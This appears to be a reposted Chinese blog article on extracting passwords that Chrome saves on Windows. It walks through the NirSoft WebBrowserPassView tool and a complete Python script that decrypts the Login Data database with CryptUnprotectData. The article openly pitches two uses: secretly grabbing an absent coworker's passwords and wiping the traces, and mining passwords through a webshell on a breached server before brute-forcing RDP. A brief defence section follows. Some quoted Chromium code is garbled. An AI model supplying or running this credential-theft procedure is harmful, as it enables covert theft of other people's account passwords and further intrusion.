Chrome瀏覽器儲存密碼獲取技術研究
阿新 • • 發佈:2019-02-09
原文轉自:http://www.jianshu.com/p/2aca61d7cc66
參考文章:https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
在上網過程中用得最得的工具之一就是瀏覽器,主力瀏覽器分為IE、Chrome、Firefox以及國內以360為代表的360瀏覽器(QQ瀏覽器、獵豹瀏覽器、百度瀏覽器),在使用瀏覽器訪問網站時,有的瀏覽器會自動提示使用者是否儲存登入的使用者名稱和密碼,有的瀏覽器需要設定自動儲存登入密碼。這些登入密碼對普通使用者而言就是一把鑰匙,而對於黑客來說,它就是一個突破口,網上求購蘋果公司一個內部員工登入帳號和口令高達數十萬美元,由此可以看出重要公司的內網(CMS)登入帳號非常重要。
很多使用者在訪問網站時,為了怕麻煩很多都會選擇記住密碼。這些密碼保護不當極有可能帶來安全風險。本文將介紹如何快速獲取Windows系統上儲存的以Chrome為代表的瀏覽器密碼。它適用場景主要有:
1.同事獲取同事的登入密碼。同事有事離開計算機,沒有鎖定螢幕,可以通過瀏覽器下載一個軟體,通過手機拍取軟體獲取的密碼,然後刪除軟體,清楚痕跡,同事瀏覽器密碼盡在掌握中。
2.對伺服器或者個人主機實施滲透時,這些主機有可能儲存登入重要資源的密碼,當控制主機後,通過後臺或者前臺直接獲取瀏覽器的密碼。
1.1通過webbrowserpassview獲取瀏覽器密碼
1.webbrowserpassview簡介
webbrowserpassview就其名字就知道它是一款瀏覽器密碼獲取工具,webbrowserpassview的使用方法非常簡單,只要啟動它,經過幾秒鐘之後,就會看到畫面上出現瀏覽器所記憶的網址、帳號及密碼了,它目前一共支援了IE1~IE10、Firefox所有版本、Safari、chrome及opera等主流瀏覽器。官方網站地址:
http://www.nirsoft.net/utils/web_browser_password.html
軟體下載地址:http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip
2.使用webbrowserpassview獲取密碼
下載webbrowserpassview後直接解壓後執行webbrowserpassview.exe即可獲取密碼,如圖1所示。會顯示URL、瀏覽器型別、使用者名稱、密碼、建立時間等資訊。
圖1獲取瀏覽器儲存的密碼
選擇一條記錄,雙擊則顯示該條記錄的詳細資訊,如圖2所示,可以對記錄的資訊進行復制操作。可以選中所有的記錄,然後儲存到本地。
圖2獲取每條記錄的詳細資訊
1.2編寫程式獲取Chrome瀏覽器儲存密碼
1.關於Chrome瀏覽器密碼儲存機制
谷歌瀏覽器加密後的金鑰儲存於%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”下的一個SQLite資料庫中,這裡的APPDATA是由系統或者使用者環境變數決定的。那麼它是如何加密的呢,通過開源的Chromium,我們來一探究竟:
首先,我們作為使用者登入一個網站時,會在表單提交Username以及Password相應的值,Chrome會首先判斷此次登入是否是一次成功的登入,部分判斷程式碼如下:
Provisional_save_manager_->SubmitPassed();
if(provisional_save_manager_->HasGeneratedPassword())
UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”,1);
If(provisional_save_manager_->IsNewLogin() &&!provisional_save_manager_->HasGeneratedPassword()){
Delegate_->AddSavePasswordInfoBarIfPermitted(
Provisional_save_manager_.release());
} else{
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
}
當我們登入成功時,並且使用的是一套新的證書(也就是說是第一次登入該網站),Chrome就會詢問我們是否需要記住密碼。
那麼登入成功後,密碼是如何被Chrome儲存的呢?
答案在EncryptedString函式,通過呼叫EncryptString16函式,程式碼如下:
Bool Encrypt::EncryptString(conststd::string& plaintext,std::string* ciphertext) {
DATA_BLOB input;
Input.pbData =static_cast(plaintext.length());
DATA_BLOB output;
BOOL result =CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
If (!result)
Return false;
//複製操作
Ciphertext->assign(reinterpret_cast(output.pbData);
LocalFree(output.pbData);
Returntrue;
}
程式碼最後利用了WidowsAPI函式CryptProtectData(請記住這個函式,因為後面會提到它)來加密。當我們擁有證書時,密碼就會被回覆給我們使用。在我們得到伺服器許可權後,證書的問題已經不用考慮了,所以下一步,我們解決如何獲得這些密碼。
2.編寫指令碼跑出Chrome瀏覽器儲存的密碼
因為考慮到在大多數情況下,並不能遠端登入到伺服器上執行GUI的程式,所以做個Python指令碼跑一下是最佳選擇,唯一的缺點是如果WINDOWS不支援PYTHON環境,Python打包成EXE檔案的話會比較大。
下面考慮程式碼部分,因為使用者不同所在使用者的資料夾就不同,需要知道LOGIN DATA檔案的具體路徑,所以我們需要python中的os.environ從環境變數中讀取LOCALAPPDATA的路徑,剩下的路徑是谷歌預設生成。
獲取LOGINDATA檔案的寫法為:
google_path = r’ Google\Chrome\UserData\Default\Login Data’
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
#Login Data檔案可以利用python中的sqlite3庫來操作。
conn = sqlite3.connect(file_path)
for row in conn.execute('selectusername_value, password_value, signon_realm from logins'):
#利用Win32crpt.CryptUnprotectData來對通過加密的密碼進行解密操作。
cursor= conn.cursor()
cursor.execute('select username_value,password_value, signon_realm from logins')
#接收全部返回結果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
#利用win32crypt.CryptUnprotectData解密後,通過輸出passwd這個元組中內容,可以逐一得到Chrome瀏覽器儲存的密碼。
這裡我們用到了CryptUnprotectData這個函式,與之對應的是我們上文提到的CryptProtectData,理論上來說CryptProtectData加密的文字內容,都可以通過CryptUnprotectData函式來解密。對其他服務的解密方式,大家可以自行嘗試。
3.完整實驗指令碼
指令碼完整程式碼如下:
#coding:utf8
import os, sys
import sqlite3
import win32crypt
google_path = r'Google\Chrome\UserData\Default\Login Data'
db_file_path =os.path.join(os.environ['LOCALAPPDATA'],google_path)
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute('select username_value,password_value, signon_realm from logins')
#接收全部返回結果
for data in cursor.fetchall():
passwd= win32crypt.CryptUnprotectData(data[1],None,None,None,0)
ifpasswd:
print'-------------------------'
printu'[+]使用者名稱: ' + data[0]
printu'[+]密碼: ' + passwd[1]
printu'[+]網站URL: ' + data[2]
效果如圖3所示。
圖3獲取chrome密碼
當然,在取得伺服器webshell的情況下,如果有執行許可權但無法提權,可以利用這種方法挖掘密碼,進而再利用社工思路對伺服器RDP服務密碼進行暴力破解。
如果Webshell不能回顯,可以用類似getpass一樣的方式,匯出到文字中。
Python chrome.py > 1.txt
(提示:匯出過程中,輸出中文可能會報錯,建議換成英文匯出。)
注意:在使用者開啟Chrome時,Login Data檔案是被上鎖的,如果這時想要對其進行讀取操作,可以將Login Data檔案複製到臨時目錄進行讀取操作。
1.3瀏覽器密碼被獲取防範方法
對於瀏覽器密碼被獲取的保護方法,筆者認為可以採取以下一些措施:
1.打造專用訪問系統
現在計算機效能都很不錯,可以在本機搭建虛擬機器平臺,單獨用一臺虛擬機器來訪問重要系統以及重要網站。虛擬機器也設定系統訪問口令,這樣實體機即使未鎖屏,同事或者其它人也不能快速獲取。專機專用可以防止病毒感染以及帳號被盜風險。
2.使用綠色免安裝瀏覽器
免安裝瀏覽器webbrowserpassview是無法獲取的。很多密碼獲取軟體是根據瀏覽器安裝的預設路徑去讀取配置檔案以及資料庫來獲取,因此使用免安裝軟體可以避免密碼獲取。其實最好的辦法就是不記錄密碼。
密碼的攻防從來不是絕對的,只有小心謹慎,從技術的角度儘量減少被洩露的風險,從管理的角度防範物理接觸和遠端訪問獲取密碼,不安全的系統就意味著密碼被獲取和擷取,因此儘量使自己的系統安全可靠。
文/安天365技術研究團隊(簡書作者)
原文連結:http://www.jianshu.com/p/2aca61d7cc66
著作權歸作者所有,轉載請聯絡作者獲得授權,並標註“簡書作者”。